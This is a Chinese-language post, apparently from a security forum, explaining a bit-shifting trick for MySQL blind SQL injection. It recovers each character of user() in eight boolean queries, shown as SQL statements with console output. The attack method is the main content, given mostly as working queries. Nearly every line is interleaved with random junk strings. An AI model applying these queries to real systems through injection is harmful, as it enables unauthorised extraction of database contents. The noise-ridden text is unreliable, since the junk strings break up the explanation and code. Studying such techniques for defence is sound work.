关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
7 s$ M! {% m, k6 o( ~, S) X# F

* i  k, E0 B" z( f! A
6 O* `% b3 ]1 _" O- f下面将以查询mysql数据库当中user()的第一位为例:
; j8 i2 S! v, I9 J) k' S8 A/ t: j

9 M% c. A3 I; [4 p( k3 B
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
$ _: Y. t/ _9 J$ M7 F% |
3 E8 E; u9 l3 p& b) I2 j

首先执行如下sql语句:
7 i2 U/ v6 ?, _# @; e# w
3 ]" k# Y  T' F  K+ q* g

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

% y0 _" ^# y9 s0 T
" U+ j/ L# w+ B) A/ _3 `
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

9 W5 ?4 D8 V' N! _
. ~& A; {7 W# ~
' Z+ T3 p6 W- u第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


  T0 ^6 R! m( R% U0 ]" Z: ]( t
" V! Q$ K9 c$ L* [, n如果运算结果为1,说明第一位为0,不为1


; T* Q+ L0 G5 k1 U+ A6 I4 B1 s
" Q" ]3 _. N+ z( f9 G& f+ x9 K: a+————————————–+
6 ^+ O+ k8 y9 P- O7 ?- R! c/ l
| (ascii((substr(user(),1,1))) >> 7)=0 |

8 o! E6 j5 O0 v  @' P$ _+————————————–+

( p' t& k* o7 |8 `* w| 1 |
" O; P, k% C9 x
* J5 _/ z% G. p) E0 H& W+————————————–+

1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位
, y" c6 v5 n0 y! L8 j- e

/ x' S; H$ [- B5 x; H8 _2 j
. e2 ?+ i4 y5 y% u1 o+ ?前两位可能是01或00,即依然可以与0做比较,

% L2 E2 u0 b4 `$ ^# {mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
* _3 I- M( O1 o+ A  C0 k
+————————————–+
6 q5 d- y$ x1 {& O
( V2 J; t( _5 }2 H8 {| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

: q/ G: \( p9 _5 U| 0 |

( Q' l3 S! ~" k1 |/ m, c+ e+————————————–+

9 t5 I: i- u% e# l0 p1 row in set (0.00 sec)

: L3 r( O, j# E. @, S/ W
1 o, w3 V' g7 S2 R3 |
. R6 V8 [. F- f5 h& S3 @结果为0,即第二位为1
( x2 U: h, A+ _2 D

, b4 k# T6 R2 d8 V0 [/ q
开始猜测前三位为010或011
. V( z% I8 X# a' G8 K

! O& v. D  r( J  G  {: F8 t$ M- o# X
让我们看看010和011的ascii码是多少
8 \. m" r. [& R+ {
( r& ^& b. g+ K& n
7 y& `' |  r- k+ o6 I# P+ L
$ B9 }2 `, h( W: B+ I$ m5 D分别查询select b’011′ select b’010′


' B* Y# Y; C5 b# ]2 p( f: ~
获得结果 010 = 2 011 = 3



: G2 i0 u- b# ?$ T: U执行如下sql:
! t, |8 f$ h. A
- A9 I3 p3 _0 |6 Q
. X+ e( W; r# v- j- s0 m7 |
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
3 j* s4 I4 j; K4 O, C' T. [$ z
$ ^: a& m* m1 f+————————————–+

+ o1 v) w4 {! Y| (ascii((substr(user(),1,1))) >> 5)=2 |

6 [5 E  [( k7 U+————————————–+

| 0 |

+————————————–+

% J- ?: P. W6 V* _2 g9 h即前三位不为010,而是011



直到获得最后一位
" n9 k! s9 G" R/ |  E


最终结果为:01110010

$ d: ]# ?; y' C$ C
4 K+ u" s& f2 C  Y1 A$ q5 X8 X& d! B
0 ?9 X2 a2 X( q; R3 @# E4 [转换一下:

2 X0 w5 j9 O) l/ p

select b’01110010′

& e+ N# G  U0 t
- M0 b" E2 T: P' ~
( V" A( \+ i0 D  m9 W* D' q; Y查询结果
0 R( T- Q. A3 T0 Q2 K9 ^. q: z5 A, ]

/ c$ V9 b  [" E$ }: e
3 h& W* u' d7 `/ r# {% [8 ?6 _+————-+
9 O) }3 M# v% y8 _# P+ s3 g
| b’01110010′ |
- m; E7 ~5 y! ~$ H+ \
8 x/ @" [3 @5 |# O2 d8 B0 Q* ]: G+————-+
3 A# I# h6 i1 M6 n8 ^6 A
| r |

+————-+
8 Y$ ]5 F+ J, k; X5 Q
) T4 A7 w1 ~; F, z; S! i* U! ~1 row in set (0.00 sec)

# f+ u/ s, ]4 B. x" b( y* E9 v
9 L  U. c8 A6 j4 u. \0 U$ z$ B9 _5 T
这样我们就获得了user()的第一位.其它位依此类推

/ _6 _8 h; Z( L8 h